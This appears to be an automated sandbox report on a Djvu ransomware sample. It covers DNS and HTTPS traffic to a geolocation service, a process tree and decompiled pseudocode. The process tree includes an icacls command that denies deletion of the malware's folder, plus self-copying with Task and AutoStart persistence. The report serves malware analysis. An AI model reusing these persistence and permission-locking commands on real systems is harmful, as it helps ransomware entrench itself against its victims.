Sep 26, 2021 08:57:37.782387972 CEST	63718	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:37.798762083 CEST	53	63718	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:38.184381962 CEST	62116	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:38.198132038 CEST	53	62116	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:38.696727991 CEST	63816	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:38.710355043 CEST	53	63816	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:39.368635893 CEST	55014	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:39.382383108 CEST	53	55014	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:40.452785015 CEST	62208	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:40.465605021 CEST	53	62208	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:42.087399960 CEST	57574	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:42.109517097 CEST	53	57574	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:42.346707106 CEST	51818	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:42.365235090 CEST	53	51818	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:42.718197107 CEST	56628	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:42.731720924 CEST	53	56628	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:43.646604061 CEST	60778	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:43.660099030 CEST	53	60778	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 26, 2021 08:55:46.775007010 CEST	192.168.2.6	8.8.8.8	0x1f70	Standard query (0)	clientconfig.passport.net	A (IP address)	IN (0x0001)
Sep 26, 2021 08:56:01.410515070 CEST	192.168.2.6	8.8.8.8	0x1dfd	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Sep 26, 2021 08:56:13.367470980 CEST	192.168.2.6	8.8.8.8	0xe454	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Sep 26, 2021 08:56:17.999828100 CEST	192.168.2.6	8.8.8.8	0x8805	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Sep 26, 2021 08:56:20.377324104 CEST	192.168.2.6	8.8.8.8	0x4581	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Sep 26, 2021 08:56:26.363320112 CEST	192.168.2.6	8.8.8.8	0x3a61	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 26, 2021 08:55:46.794641972 CEST	8.8.8.8	192.168.2.6	0x1f70	No error (0)	clientconfig.passport.net	authgfx.msa.akadns6.net		CNAME (Canonical name)	IN (0x0001)
Sep 26, 2021 08:55:46.966603994 CEST	8.8.8.8	192.168.2.6	0x185d	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Sep 26, 2021 08:56:01.425695896 CEST	8.8.8.8	192.168.2.6	0x1dfd	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Sep 26, 2021 08:56:13.380528927 CEST	8.8.8.8	192.168.2.6	0xe454	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Sep 26, 2021 08:56:18.013017893 CEST	8.8.8.8	192.168.2.6	0x8805	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Sep 26, 2021 08:56:20.394387007 CEST	8.8.8.8	192.168.2.6	0x4581	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Sep 26, 2021 08:56:26.376830101 CEST	8.8.8.8	192.168.2.6	0x3a61	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

api.2ip.ua

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49746	77.123.139.190	443	C:\Users\user\Desktop\ZZGJ1bZClw.exe

Timestamp	Direction	Data
2021-09-26 06:56:02 UTC	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2021-09-26 06:56:02 UTC	IN	HTTP/1.1 200 OK Date: Sun, 26 Sep 2021 06:56:02 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Cache-Control: max-age=15552000 Expires: Fri, 25 Mar 2022 06:56:02 GMT Connection: close Transfer-Encoding: chunked Content-Type: application/json
2021-09-26 06:56:02 UTC	IN	Data Raw: 31 61 33 0d 0a 7b 22 69 70 22 3a 22 31 38 35 2e 31 38 39 2e 31 35 30 2e 36 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 43 48 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 38 5c 75 30 34 33 32 5c 75 30 34 33 35 5c 75 30 34 33 39 5c 75 30 34 34 36 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 33 38 5c 75 30 34 34 66 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 38 5c 75 30 34 33 32 5c 75 30 34 33 35 5c 75 30 34 33 39 5c 75 30 34 34 36 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 35 36 5c 75 30 34 34 66 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 75 67 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 36 5c 75 30 34 34 33 5c Data Ascii: 1a3{"ip":"185.189.150.69","country_code":"CH","country":"Switzerland","country_rus":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0438\u044f","country_ua":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0456\u044f","region":"Zug","region_rus":"\u0426\u0443\

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49772	77.123.139.190	443	C:\Users\user\Desktop\ZZGJ1bZClw.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-26 06:56:13 UTC	1	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2021-09-26 06:56:13 UTC	1	IN	HTTP/1.1 200 OK Date: Sun, 26 Sep 2021 06:56:13 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Cache-Control: max-age=15552000 Expires: Fri, 25 Mar 2022 06:56:13 GMT Connection: close Transfer-Encoding: chunked Content-Type: application/json
2021-09-26 06:56:13 UTC	1	IN	Data Raw: 31 61 33 0d 0a 7b 22 69 70 22 3a 22 31 38 35 2e 31 38 39 2e 31 35 30 2e 36 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 43 48 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 38 5c 75 30 34 33 32 5c 75 30 34 33 35 5c 75 30 34 33 39 5c 75 30 34 34 36 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 33 38 5c 75 30 34 34 66 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 38 5c 75 30 34 33 32 5c 75 30 34 33 35 5c 75 30 34 33 39 5c 75 30 34 34 36 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 35 36 5c 75 30 34 34 66 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 75 67 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 36 5c 75 30 34 34 33 5c Data Ascii: 1a3{"ip":"185.189.150.69","country_code":"CH","country":"Switzerland","country_rus":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0438\u044f","country_ua":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0456\u044f","region":"Zug","region_rus":"\u0426\u0443\

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49777	77.123.139.190	443	C:\Users\user\Desktop\ZZGJ1bZClw.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-26 06:56:18 UTC	2	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2021-09-26 06:56:18 UTC	2	IN	HTTP/1.1 200 OK Date: Sun, 26 Sep 2021 06:56:18 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Cache-Control: max-age=15552000 Expires: Fri, 25 Mar 2022 06:56:18 GMT Connection: close Transfer-Encoding: chunked Content-Type: application/json
2021-09-26 06:56:18 UTC	2	IN	Data Raw: 31 61 33 0d 0a 7b 22 69 70 22 3a 22 31 38 35 2e 31 38 39 2e 31 35 30 2e 36 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 43 48 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 38 5c 75 30 34 33 32 5c 75 30 34 33 35 5c 75 30 34 33 39 5c 75 30 34 34 36 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 33 38 5c 75 30 34 34 66 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 38 5c 75 30 34 33 32 5c 75 30 34 33 35 5c 75 30 34 33 39 5c 75 30 34 34 36 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 35 36 5c 75 30 34 34 66 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 75 67 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 36 5c 75 30 34 34 33 5c Data Ascii: 1a3{"ip":"185.189.150.69","country_code":"CH","country":"Switzerland","country_rus":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0438\u044f","country_ua":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0456\u044f","region":"Zug","region_rus":"\u0426\u0443\

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49778	77.123.139.190	443	C:\Users\user\Desktop\ZZGJ1bZClw.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-26 06:56:20 UTC	3	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2021-09-26 06:56:20 UTC	3	IN	HTTP/1.1 200 OK Date: Sun, 26 Sep 2021 06:56:20 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Cache-Control: max-age=15552000 Expires: Fri, 25 Mar 2022 06:56:20 GMT Connection: close Transfer-Encoding: chunked Content-Type: application/json
2021-09-26 06:56:20 UTC	3	IN	Data Raw: 31 61 33 0d 0a 7b 22 69 70 22 3a 22 31 38 35 2e 31 38 39 2e 31 35 30 2e 36 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 43 48 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 38 5c 75 30 34 33 32 5c 75 30 34 33 35 5c 75 30 34 33 39 5c 75 30 34 34 36 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 33 38 5c 75 30 34 34 66 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 38 5c 75 30 34 33 32 5c 75 30 34 33 35 5c 75 30 34 33 39 5c 75 30 34 34 36 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 35 36 5c 75 30 34 34 66 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 75 67 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 36 5c 75 30 34 34 33 5c Data Ascii: 1a3{"ip":"185.189.150.69","country_code":"CH","country":"Switzerland","country_rus":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0438\u044f","country_ua":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0456\u044f","region":"Zug","region_rus":"\u0426\u0443\

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49779	77.123.139.190	443	C:\Users\user\Desktop\ZZGJ1bZClw.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-26 06:56:26 UTC	4	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2021-09-26 06:56:26 UTC	4	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 26 Sep 2021 06:56:26 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2021-09-26 06:56:26 UTC	4	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: ZZGJ1bZClw.exe PID: 6900 Parent PID: 5560

General

Start time:	08:55:53
Start date:	26/09/2021
Path:	C:\Users\user\Desktop\ZZGJ1bZClw.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\ZZGJ1bZClw.exe'
Imagebase:	0x400000
File size:	681984 bytes
MD5 hash:	DC42DD95CE4017C9984F759A77788BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000002.361885300.00000000022B0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ZZGJ1bZClw.exe PID: 6604 Parent PID: 6900

General

Start time:	08:55:59
Start date:	26/09/2021
Path:	C:\Users\user\Desktop\ZZGJ1bZClw.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\ZZGJ1bZClw.exe'
Imagebase:	0x400000
File size:	681984 bytes
MD5 hash:	DC42DD95CE4017C9984F759A77788BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000002.369250533.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000001.359707348.0000000000400000.00000040.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: icacls.exe PID: 6436 Parent PID: 6604

General

Start time:	08:56:01
Start date:	26/09/2021
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls 'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53' /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0xc20000
File size:	29696 bytes
MD5 hash:	FF0D1D4317A44C951240FAE75075D501
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: ZZGJ1bZClw.exe PID: 7064 Parent PID: 6604

General

Start time:	08:56:03
Start date:	26/09/2021
Path:	C:\Users\user\Desktop\ZZGJ1bZClw.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\ZZGJ1bZClw.exe' --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	681984 bytes
MD5 hash:	DC42DD95CE4017C9984F759A77788BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.387076079.0000000002310000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ZZGJ1bZClw.exe PID: 600 Parent PID: 936

General

Start time:	08:56:04
Start date:	26/09/2021
Path:	C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe --Task
Imagebase:	0x400000
File size:	681984 bytes
MD5 hash:	DC42DD95CE4017C9984F759A77788BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 85%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: ZZGJ1bZClw.exe PID: 2932 Parent PID: 3440

General

Start time:	08:56:10
Start date:	26/09/2021
Path:	C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart
Imagebase:	0x400000
File size:	681984 bytes
MD5 hash:	DC42DD95CE4017C9984F759A77788BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.395438224.0000000002290000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ZZGJ1bZClw.exe PID: 6792 Parent PID: 7064

General

Start time:	08:56:11
Start date:	26/09/2021
Path:	C:\Users\user\Desktop\ZZGJ1bZClw.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\ZZGJ1bZClw.exe' --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	681984 bytes
MD5 hash:	DC42DD95CE4017C9984F759A77788BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.388374111.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ZZGJ1bZClw.exe PID: 992 Parent PID: 2932

General

Start time:	08:56:15
Start date:	26/09/2021
Path:	C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart
Imagebase:	0x400000
File size:	681984 bytes
MD5 hash:	DC42DD95CE4017C9984F759A77788BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.398022739.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000008.00000001.394915120.0000000000400000.00000040.00020000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000001.394915120.0000000000400000.00000040.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ZZGJ1bZClw.exe PID: 6632 Parent PID: 600

General

Start time:	08:56:18
Start date:	26/09/2021
Path:	C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe --Task
Imagebase:	0x400000
File size:	681984 bytes
MD5 hash:	DC42DD95CE4017C9984F759A77788BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000001.400162515.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000A.00000002.402983269.0000000000400000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.402983269.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ZZGJ1bZClw.exe PID: 7160 Parent PID: 3440

General

Start time:	08:56:18
Start date:	26/09/2021
Path:	C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart
Imagebase:	0x400000
File size:	681984 bytes
MD5 hash:	DC42DD95CE4017C9984F759A77788BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.415234158.0000000002440000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ZZGJ1bZClw.exe PID: 5848 Parent PID: 7160

General

Start time:	08:56:24
Start date:	26/09/2021
Path:	C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe' --AutoStart
Imagebase:	0x400000
File size:	681984 bytes
MD5 hash:	DC42DD95CE4017C9984F759A77788BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000001.412816709.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000E.00000002.416440779.0000000000400000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000002.416440779.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: ZZGJ1bZClw.exe PID: 6900 Parent PID: 5560 ZZGJ1bZClw.exeCOMMON

Executed Functions

Function 004014BB, Relevance: 4.5, APIs: 3, Instructions: 20
timeCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E004014BB(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t1;
				void* _t7;

				_t1 =  *0x4a0b7c;
				 *0x5233fc = _t1;
				if(_t1 == 0xc) {
					GetSystemTime(0);
					_push(0);
					E004017B6(__ebx, _t7, __edi, 0, 0);
					_push(0);
					_push(0);
					_push(0);
					E00401AC9(__ebx, _t7, __edi, 0, 0);
				}
				 *0x5233fc =  *0x5233fc + 0xb2d3b; // executed
				E00401337(_t7); // executed
				return 0;
			}

0x004014bb
0x004014c0
0x004014c8
0x004014ce
0x004014d4
0x004014d5
0x004014da
0x004014db
0x004014dc
0x004014dd
0x004014e5
0x004014e6
0x004014f0
0x004014f7

APIs

GetSystemTime.KERNEL32(00000000), ref: 004014CE
_ftell.LIBCMT ref: 004014D5
_fseek.LIBCMT ref: 004014DD

Memory Dump Source

Source File: 00000001.00000002.361173679.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.361144929.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361323552.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.361356847.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361373811.00000000004A1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.361389421.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: SystemTime_fseek_ftell
String ID:
API String ID: 3547134071-0
Opcode ID: 95ab16200de81771442e6ba1a794742b24cf1413423852d95d36b997a2d56e51
Instruction ID: 53be54c691e86fe260a22ff7533ac9d72a826490f76507f7bf1d2dd40d6a379e
Opcode Fuzzy Hash: 95ab16200de81771442e6ba1a794742b24cf1413423852d95d36b997a2d56e51
Instruction Fuzzy Hash: 5ED0127180203457C330FF769C89DCB3A98EE27358740492FF454A11A1DB3C8611DAED

Uniqueness

Uniqueness Score: -1.00%

Function 00401337, Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 130
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00401337(void* __edx) {
				struct tagPOINT _v12;
				void* _v28;
				struct _OVERLAPPED _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HINSTANCE__* _t7;
				void* _t16;
				void* _t30;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t40;
				void* _t41;
				void* _t42;
				void* _t43;
				void* _t44;
				void* _t54;

				_t40 = __edx;
				_t50 =  *0x5233fc - 0x20a;
				if( *0x5233fc == 0x20a) {
					WaitForSingleObject(0, 0);
					E0040154F(_t37, _t40, _t41, 0);
					_pop(_t39);
					_push(0);
					_push(0);
					E00401824(_t37, _t40, _t41, 0, _t50);
					_push(0);
					E004017B6(_t37, _t40, _t41, 0, _t50);
					_push(0);
					_push(0);
					_push(0);
					E00401AC9(_t37, _t40, _t41, 0, _t50);
				}
				E00401323();
